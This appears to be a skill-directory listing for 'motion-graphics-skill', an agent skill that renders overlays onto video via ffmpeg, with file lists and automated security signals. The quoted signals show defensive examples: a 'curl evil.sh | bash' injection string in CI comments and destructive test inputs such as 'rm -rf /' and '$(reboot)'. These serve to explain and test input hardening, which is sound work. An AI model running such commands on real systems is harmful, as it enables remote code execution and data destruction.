Not in the top 1,000 by GitHub stars

kajisho5/motion-graphics-skill

Agent skill that deterministically renders motion graphics onto video via ffmpeg-skill.

History

Review weekly changes to SKILL.md before updating. Dates mark the weeks in which we observed each version; checks apply to the recorded commits.

View weekly changes

SKILL.md

Week of Nov 2, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 822a7a0d2902

No earlier version was observed for comparison.

Compare on GitHub

View on GitHubAdd to my skills

Verified commit 822a7a0d29026cb216740d513695418f4833d7b9

git clone --filter=blob:none --no-checkout https://github.com/kajisho5/motion-graphics-skill.git .hotskills/kajisho5-motion-graphics-skill && git -C .hotskills/kajisho5-motion-graphics-skill checkout --detach 822a7a0d29026cb216740d513695418f4833d7b9 # Copy each selected skill directory from .hotskills/kajisho5-motion-graphics-skill into .claude/skills/<skill-name>/
17GitHub stars
Not availablestars in 7 days
1skill in this repository
31commits in 30 days

Heat

Insufficient history

Not enough history yet to measure heat. It appears after a few days of data.

Heat never changes the order by stars, and sponsorship never touches it. How heat works

Stars over time

Nov 3, 2026Nov 3, 202617

30-day change not yet available: not enough history.

Individual skills in this repository

How it works

motion-graphics

When your agent uses it

Deterministic motion-graphics rendering execution Skill for the AI Video Production Ecosystem. Use it when a caller (normally video-production-agent) has already decided what graphic to show, when to show it, and roughly how it should look, and needs it rendered safely: title cards, lower thirds, free-form text overlays, image/logo overlays, video-on-video picture-in-picture/chroma-key overlays, persistent corner "bug" watermarks, chapter chips, a bottom progress bar, and a countdown, with built-in template animation (title/lower-third/bug/chapter/countdown fade, slide, or pulse) or a configurable linear fade (text/image overlays only). Do NOT use it to decide what graphic to show, when, or how it should look (video-production-agent), to edit video (video-editing-skill), to grade color (color-grading-skill), to generate or translate subtitles (subtitle-skill), to measure or QC media (qc-skill, media-analysis-skill), or to run arbitrary ffmpeg commands or filters (it refuses them).

What it loads into context

Frontmatter

224 tokens

Always available to the agent

SKILL.md

1,397 tokens

When the skill is activated

Reference documents

32,432 tokens

Loaded on request

Token counts are estimates. Scripts run separately; they are not counted as reference context.

The playbook

  1. Ask for this, not that
  2. Workflow
  3. On failure
  4. What this Skill is not

Scripts executed separately

  • .github/scripts/bump_version.py
  • .github/scripts/render_changelog.py
  • .github/scripts/resolve_version.py
  • src/motion_graphics/__init__.py
  • src/motion_graphics/adapter.py
  • src/motion_graphics/canonical.py
  • src/motion_graphics/cli.py
  • src/motion_graphics/colors.py
  • src/motion_graphics/contract.py
  • src/motion_graphics/doctor.py
  • src/motion_graphics/errors.py
  • src/motion_graphics/executor.py
  • src/motion_graphics/fonts.py
  • src/motion_graphics/model.py
  • src/motion_graphics/security.py
  • tests/conftest.py
  • tests/fixtures/__init__.py
  • tests/fixtures/generate.py
  • tests/test_colors.py
  • tests/test_compat.py
  • tests/test_contract.py
  • tests/test_integration.py
  • tests/test_security.py
  • tests/test_shape.py
  • tests/test_templates_platform.py
  • tests/test_unit.py
  • tests/test_version_source.py

Files

  • .github/FUNDING.ymlasset17 bytes
  • .github/dependabot.ymlasset492 bytes
  • .github/pull_request_template.mddoc110 bytes
  • .github/release-drafter.ymlasset3,345 bytes
  • .github/scripts/bump_version.pyruns1,993 bytes
  • .github/scripts/render_changelog.pyruns2,833 bytes
  • .github/scripts/resolve_version.pyruns3,120 bytes
  • .github/workflows/autolabel.ymlasset949 bytes
  • .github/workflows/codeql.ymlasset1,018 bytes
  • .github/workflows/release.ymlasset5,621 bytes
  • .github/workflows/tests.ymlasset4,432 bytes
  • .gitignoreasset98 bytes
  • CHANGELOG.mddoc2,780 bytes
  • CLAUDE.mddoc13,904 bytes
  • ECOSYSTEM_ROADMAP.mddoc2,664 bytes
  • LICENSEasset1,065 bytes
  • README.mddoc23,420 bytes
  • SECURITY.mddoc2,057 bytes
  • SKILL.mdcore5,797 bytes
  • SKILL.mdcore5,797 bytes
  • SKILL.mdcore5,797 bytes
  • brand/app-icon-dark.pngasset65,450 bytes
  • brand/app-icon.pngasset58,569 bytes
  • brand/logo/motion-graphics-skill-wordmark-black.svgasset7,274 bytes
  • brand/logo/motion-graphics-skill-wordmark-white.svgasset7,274 bytes
  • brand/motion-graphics-skill.icon/Assets/curve.svgasset363 bytes
  • brand/motion-graphics-skill.icon/Assets/keyframes.svgasset368 bytes
  • brand/motion-graphics-skill.icon/icon.jsonasset1,753 bytes
  • docs/architecture.mddoc4,496 bytes
  • docs/decisions.mddoc59,467 bytes
  • docs/ffmpeg-skill.mddoc8,027 bytes
  • docs/security.mddoc4,398 bytes
  • docs/testing.mddoc5,628 bytes
  • pyproject.tomlasset807 bytes
  • src/motion_graphics/__init__.pyruns2,110 bytes
  • src/motion_graphics/adapter.pyruns26,204 bytes
  • src/motion_graphics/canonical.pyruns851 bytes
  • src/motion_graphics/cli.pyruns7,850 bytes
  • src/motion_graphics/colors.pyruns5,997 bytes
  • src/motion_graphics/contract.pyruns19,447 bytes
  • src/motion_graphics/doctor.pyruns13,389 bytes
  • src/motion_graphics/errors.pyruns2,516 bytes
  • src/motion_graphics/executor.pyruns38,483 bytes
  • src/motion_graphics/fonts.pyruns4,926 bytes
  • src/motion_graphics/model.pyruns45,661 bytes
  • src/motion_graphics/security.pyruns7,410 bytes
  • tests/conftest.pyruns5,142 bytes
  • tests/fixtures/__init__.pyruns0 bytes
  • tests/fixtures/generate.pyruns3,699 bytes
  • tests/test_colors.pyruns9,262 bytes
  • tests/test_compat.pyruns9,965 bytes
  • tests/test_contract.pyruns7,689 bytes
  • tests/test_integration.pyruns42,216 bytes
  • tests/test_security.pyruns8,011 bytes
  • tests/test_shape.pyruns14,934 bytes
  • tests/test_templates_platform.pyruns17,938 bytes
  • tests/test_unit.pyruns44,779 bytes
  • tests/test_version_source.pyruns3,983 bytes
Read SKILL.md

# motion-graphics-skill

Deterministic motion-graphics rendering execution for the AI Video Production Ecosystem, built on top of
[ffmpeg-skill](https://github.com/kajisho5/ffmpeg-skill). See `README.md` and `docs/` for the full contract,
graphics model, security boundary, and testing notes.

## Ask for this, not that

Ask this Skill to render: an exact `title`/`lower_third`/`text_overlay`/`image_overlay`/`video_overlay`/`bug`/
`chapter`/`progress`/`countdown`/`sticker`/`hook`/`meme`/`shape` element, with exact `start`/`end` seconds and exact parameter values already
decided. Every field is typed and range-checked; there is no free-text "make it look nice" input.

Do not ask it to: choose what text or image to show, choose when something should appear, choose colors/fonts/
layout for aesthetic reasons, animate anything beyond a linear `fade` (no slide/move/scale — see
View the complete source on GitHub

Skills included

  • motion-graphics

Repository facts

License
MIT
Created
Sep 4, 2026
Last pushed
Nov 6, 2026
Forks
0
Open issues
1
Project activity
Active

Before you install

Network or broad shell

Automated signals, not a guarantee

Checked Nov 6, 2026

Not fully analyzed: some files were too long, unreadable or missing. This never lowers the level.

Show 4 notes
  • SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • brand/logo/motion-graphics-skill-wordmark-black.svg:1 Analysis incomplete: physical or joined line exceeds character limit
  • brand/logo/motion-graphics-skill-wordmark-white.svg:1 Analysis incomplete: physical or joined line exceeds character limit
Show all 95 signals by file

.github/scripts/bump_version.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 30
    [Credential-related source omitted]

.github/scripts/render_changelog.py

  • Executable scriptline 1
    Executable file
  • Network accessline 3
    controls). Splicing an untrusted string like a PR title into a `run:` block via `${{ }}` is a known GitHub Actions script-injection vector (the substitution happens before the shell ever sees the script, so a title like `"; curl evil.sh | b
  • Network accessline 4
    Actions script-injection vector (the substitution happens before the shell ever sees the script, so a title like `"; curl evil.sh | bash #` becomes literal shell syntax); reading the same text ourselves via `subprocess` and writing it strai
  • Dangerous shell operationline 5
    `"; curl evil.sh | bash #` becomes literal shell syntax); reading the same text ourselves via `subprocess` and
  • Network accessline 5
    `"; curl evil.sh | bash #` becomes literal shell syntax); reading the same text ourselves via `subprocess` and
  • Access to secretsline 32
    [Credential-related source omitted]
  • Access to secretsline 33
    [Credential-related source omitted]

.github/scripts/resolve_version.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 46
    [Credential-related source omitted]
  • Access to secretsline 55
    [Credential-related source omitted]

.github/workflows/release.yml

  • Network accessline 11
    # handles is PR titles/commit subjects. That text is never spliced into a `run:` block via `${{ }}` (the classic # GitHub Actions injection vector: `${{ }}` substitution rewrites the workflow's shell script *before* the shell # ever runs it
  • Network accessline 12
    # GitHub Actions injection vector: `${{ }}` substitution rewrites the workflow's shell script *before* the shell # ever runs it, so a title like `"; curl evil.sh | bash #` becomes literal shell syntax). Instead: #   - release-drafter is use
  • Dangerous shell operationline 13
    # ever runs it, so a title like `"; curl evil.sh | bash #` becomes literal shell syntax). Instead:
  • Network accessline 13
    # ever runs it, so a title like `"; curl evil.sh | bash #` becomes literal shell syntax). Instead:
  • Access to secretsline 118
    [Credential-related source omitted]

.github/workflows/tests.yml

  • Dangerous shell operationline 43
    run: sudo apt-get update -qq && sudo apt-get install -y ffmpeg fonts-dejavu-core fonts-noto-cjk
  • Network accessline 66
    run: |           if [ "$FFMPEG_SKILL_REF" = "main" ]; then             git clone --depth 1 https://github.com/kajisho5/ffmpeg-skill vendor/ffmpeg-skill
  • Network accessline 67
    if [ "$FFMPEG_SKILL_REF" = "main" ]; then             git clone --depth 1 https://github.com/kajisho5/ffmpeg-skill vendor/ffmpeg-skill           else
  • Network accessline 68
    git clone --depth 1 https://github.com/kajisho5/ffmpeg-skill vendor/ffmpeg-skill
  • Network accessline 69
    else             git clone https://github.com/kajisho5/ffmpeg-skill vendor/ffmpeg-skill             git -C vendor/ffmpeg-skill checkout "$FFMPEG_SKILL_REF"
  • Network accessline 70
    git clone https://github.com/kajisho5/ffmpeg-skill vendor/ffmpeg-skill

CLAUDE.md

  • Network accessline 64
    # 2. Check it against video-production-agent's pinned compatibility gate (clone it read-only if you don't have it) git clone --depth 1 https://github.com/kajisho5/video-production-agent /tmp/vpa
  • Network accessline 65
    git clone --depth 1 https://github.com/kajisho5/video-production-agent /tmp/vpa
  • Network accessline 89
    # 4. If checking a `provides`-shape change specifically, also validate against the OS registry's real conformance #    checker (not just its own docs) -- fetch the architecture branch found via git ls-remote above: git clone --depth 1 --bra
  • Network accessline 90
    #    checker (not just its own docs) -- fetch the architecture branch found via git ls-remote above: git clone --depth 1 --branch <branch-from-ls-remote> https://github.com/kajisho5/AI-video-production-OS /tmp/os python3 -c "
  • Network accessline 91
    git clone --depth 1 --branch <branch-from-ls-remote> https://github.com/kajisho5/AI-video-production-OS /tmp/os

ECOSYSTEM_ROADMAP.md

  • Network accessline 3
    Part of the [AI Video Production OS](https://github.com/kajisho5/AI-video-production-OS/blob/main/docs/ecosystem/ROADMAP.md) ecosystem: department **映像 (Visual)**, status `active`.
  • Network accessline 8
    pyproject v0.2.0 but `VERSION` in `__init__` is 0.1.0, so the contract reports 0.1.0. 12 elements (title, lower_third, text/image/video overlay, bug, chapter, progress, countdown, sticker, hook, meme); `shape` (a solid rectangle, two ffmpeg
  • Network accessline 24
    - [x] **1. Single-source the version** — VERSION from package metadata; release script covers it; coordinate with the agent's version gate — [#28](https://github.com/kajisho5/motion-graphics-skill/pull/28), [#32](https://github.com/kajisho5
  • Network accessline 28
    - [x] **3. contract_version + dependencies**   - Done when: OS schema check - [x] **4. (optional) `shape` element** — via ffmpeg-skill background + overlay; ADR on two calls per element ([#33](https://github.com/kajisho5/motion-graphics-ski
  • Network accessline 29
    - Done when: OS schema check - [x] **4. (optional) `shape` element** — via ffmpeg-skill background + overlay; ADR on two calls per element ([#33](https://github.com/kajisho5/motion-graphics-skill/pull/33), ADR-22)   - Done when: integration
  • Network accessline 30
    - [x] **4. (optional) `shape` element** — via ffmpeg-skill background + overlay; ADR on two calls per element ([#33](https://github.com/kajisho5/motion-graphics-skill/pull/33), ADR-22)
  • Network accessline 31
    - Done when: integration test - [x] **5. ffmpeg-skill 3.0.0** — accept its contract_version 2.0; Python 3.9 CI against the last 2.x (ADR-23) ([#34](https://github.com/kajisho5/motion-graphics-skill/pull/34))   - Done when: CI passes against
  • Network accessline 32
    - [x] **5. ffmpeg-skill 3.0.0** — accept its contract_version 2.0; Python 3.9 CI against the last 2.x (ADR-23) ([#34](https://github.com/kajisho5/motion-graphics-skill/pull/34))
  • Network accessline 39
    --- Engine for every media operation: [ffmpeg-skill](https://github.com/kajisho5/ffmpeg-skill) (42 tools, treated as complete). Orchestrator: [video-production-agent](https://github.com/kajisho5/video-production-agent).
  • Network accessline 40
    Engine for every media operation: [ffmpeg-skill](https://github.com/kajisho5/ffmpeg-skill) (42 tools, treated as complete). Orchestrator: [video-production-agent](https://github.com/kajisho5/video-production-agent).

README.md

  • Network accessline 27
    <p align="center">   <a href="https://github.com/kajisho5/motion-graphics-skill/actions/workflows/tests.yml"><img src="https://github.com/kajisho5/motion-graphics-skill/actions/workflows/tests.yml/badge.svg" alt="tests"></a>
  • Network accessline 28
    <a href="https://github.com/kajisho5/motion-graphics-skill/actions/workflows/tests.yml"><img src="https://github.com/kajisho5/motion-graphics-skill/actions/workflows/tests.yml/badge.svg" alt="tests"></a>
  • Network accessline 29
    <img src="https://img.shields.io/badge/python-3.9%2B-blue" alt="Python 3.9+">
  • Network accessline 30
    <a href="LICENSE"><img src="https://img.shields.io/badge/license-MIT-green" alt="License: MIT"></a>
  • Network accessline 31
    <a href="https://github.com/sponsors/kajisho5"><img src="https://img.shields.io/badge/sponsor-%E2%9D%A4-ea4aaa?logo=githubsponsors" alt="Sponsor"></a>
  • Network accessline 36
    video-on-video picture-in-picture/chroma-key overlays, persistent corner "bug" watermarks, chapter chips, a bottom progress bar, and a countdown — onto a video, through [ffmpeg-skill](https://github.com/kajisho5/ffmpeg-skill), and reports p
  • Network accessline 38
    [ffmpeg-skill](https://github.com/kajisho5/ffmpeg-skill), and reports provenance.
  • Network accessline 45
    Requires Python 3.9+ and a working `ffmpeg`/`ffprobe` on `PATH`, plus a checkout of [`ffmpeg-skill`](https://github.com/kajisho5/ffmpeg-skill) of any version: what it can do is detected from its own
  • Network accessline 46
    [`ffmpeg-skill`](https://github.com/kajisho5/ffmpeg-skill) of any version: what it can do is detected from its own

SECURITY.md

  • Network accessline 10
    https://github.com/kajisho5/motion-graphics-skill/security/advisories/new
  • Network accessline 20
    This repository delegates all actual media processing to [`ffmpeg-skill`](https://github.com/kajisho5/ffmpeg-skill) through typed, argv-only subprocess calls, never a
  • Network accessline 21
    [`ffmpeg-skill`](https://github.com/kajisho5/ffmpeg-skill) through typed, argv-only subprocess calls, never a
  • Network accessline 31
    Vulnerabilities in `ffmpeg`, `ffprobe`, or `ffmpeg-skill` itself are out of scope here — please report those to the [`ffmpeg-skill`](https://github.com/kajisho5/ffmpeg-skill) repository (or upstream FFmpeg) instead.
  • Network accessline 32
    the [`ffmpeg-skill`](https://github.com/kajisho5/ffmpeg-skill) repository (or upstream FFmpeg) instead.

SKILL.md

  • Network accessline 8
    Deterministic motion-graphics rendering execution for the AI Video Production Ecosystem, built on top of [ffmpeg-skill](https://github.com/kajisho5/ffmpeg-skill). See `README.md` and `docs/` for the full contract,
  • Network accessline 9
    [ffmpeg-skill](https://github.com/kajisho5/ffmpeg-skill). See `README.md` and `docs/` for the full contract,

brand/logo/motion-graphics-skill-wordmark-black.svg

  • Network accessline 1
    <svg xmlns="http://www.w3.org/2000/svg" viewBox="41 -1000 10093 1300" role="img" aria-label="motion-graphics-skill"><path fill="#111111" d="M51 0V-489H225V0ZM358 0V-283Q358 -314 339.0 -331.5Q320 -349 292 -349Q272 -349 257.0 -341.0Q242 -333 

brand/logo/motion-graphics-skill-wordmark-white.svg

  • Network accessline 1
    <svg xmlns="http://www.w3.org/2000/svg" viewBox="41 -1000 10093 1300" role="img" aria-label="motion-graphics-skill"><path fill="#FFFFFF" d="M51 0V-489H225V0ZM358 0V-283Q358 -314 339.0 -331.5Q320 -349 292 -349Q272 -349 257.0 -341.0Q242 -333 

brand/motion-graphics-skill.icon/Assets/curve.svg

  • Network accessline 1
    <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1024 1024"><defs><linearGradient id="g" x1="0" y1="0" x2="0" y2="1"><stop offset="0" stop-color="#FFFFFF"/><stop offset="1" stop-color="#FFFFFF" stop-opacity=".78"/></linearGradient></def

brand/motion-graphics-skill.icon/Assets/keyframes.svg

  • Network accessline 1
    <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1024 1024"><defs><linearGradient id="g" x1="0" y1="0" x2="0" y2="1"><stop offset="0" stop-color="#FFFFFF"/><stop offset="1" stop-color="#FFFFFF" stop-opacity=".78"/></linearGradient></def

docs/testing.md

  • Dangerous shell operationline 61
    `"; rm -rf / #"`, `"$(reboot)"`, `"<script>alert(1)</script>"`) and asserts the render still succeeds and produces

pyproject.toml

  • Network accessline 19
    [project.urls] Repository = "https://github.com/kajisho5/motion-graphics-skill"
  • Network accessline 20
    Repository = "https://github.com/kajisho5/motion-graphics-skill"

src/motion_graphics/__init__.py

  • Executable scriptline 1
    Executable file

src/motion_graphics/adapter.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 99
    [Credential-related source omitted]
  • Access to secretsline 297
    [Credential-related source omitted]

src/motion_graphics/canonical.py

  • Executable scriptline 1
    Executable file

src/motion_graphics/cli.py

  • Executable scriptline 1
    Executable file

src/motion_graphics/colors.py

  • Executable scriptline 1
    Executable file

src/motion_graphics/contract.py

  • Executable scriptline 1
    Executable file
  • Network accessline 106
    "or a configurable linear fade (text/image overlays only); typed Graphics Document in, a validated video artifact with "                        "provenance out. Not an AI agent: it never chooses what to show, when to show it, or how it shou
  • Network accessline 107
    "provenance out. Not an AI agent: it never chooses what to show, when to show it, or how it should look.",         "repository": "https://github.com/kajisho5/motion-graphics-skill",         "not_provided": ["AI reasoning", "design decisions
  • Network accessline 108
    "repository": "https://github.com/kajisho5/motion-graphics-skill",

src/motion_graphics/doctor.py

  • Executable scriptline 1
    Executable file

src/motion_graphics/errors.py

  • Executable scriptline 1
    Executable file

src/motion_graphics/executor.py

  • Executable scriptline 1
    Executable file

src/motion_graphics/fonts.py

  • Executable scriptline 1
    Executable file

src/motion_graphics/model.py

  • Executable scriptline 1
    Executable file

src/motion_graphics/security.py

  • Executable scriptline 1
    Executable file

tests/conftest.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 21
    [Credential-related source omitted]
  • Access to secretsline 113
    [Credential-related source omitted]

tests/fixtures/__init__.py

  • Executable scriptline 1
    Executable file

tests/fixtures/generate.py

  • Executable scriptline 1
    Executable file

tests/test_colors.py

  • Executable scriptline 1
    Executable file

tests/test_compat.py

  • Executable scriptline 1
    Executable file

tests/test_contract.py

  • Executable scriptline 1
    Executable file

tests/test_integration.py

  • Executable scriptline 1
    Executable file

tests/test_security.py

  • Executable scriptline 1
    Executable file
  • Dangerous shell operationline 178
    doc["shell"] = "rm -rf /"

tests/test_shape.py

  • Executable scriptline 1
    Executable file

tests/test_templates_platform.py

  • Executable scriptline 1
    Executable file

tests/test_unit.py

  • Executable scriptline 1
    Executable file

tests/test_version_source.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 47
    [Credential-related source omitted]
  • Access to secretsline 63
    [Credential-related source omitted]

How the signals fit together

Facts from a static read of the files at the pinned commit. They describe what the code does, not why.

Some files could not be read; the facts below still hold.

Signal confidence: 78 facts

and 28 more

Works with

Agent compatibility, from the files in this repository
AgentStatusEvidenceInstall to
Claude CodeNativePath CLAUDE.md.claude/skills/<skill-name>/
CodexCompatibleStandard SKILL.md SKILL.md.agents/skills/<skill-name>/
CursorCompatibleStandard SKILL.md SKILL.md.cursor/skills/<skill-name>/
Gemini CLICompatibleStandard SKILL.md SKILL.md.gemini/skills/<skill-name>/
GitHub CopilotCompatibleStandard SKILL.md SKILL.md.github/skills/<skill-name>/
OpenCodeCompatibleStandard SKILL.md SKILL.md.opencode/skills/<skill-name>/
  • Native The repository ships a manifest, folder or frontmatter field for this agent.
  • Compatible A standard SKILL.md that this agent can read.
  • Unknown No evidence either way.

Derived automatically from paths, manifests and frontmatter. Not tested on each agent.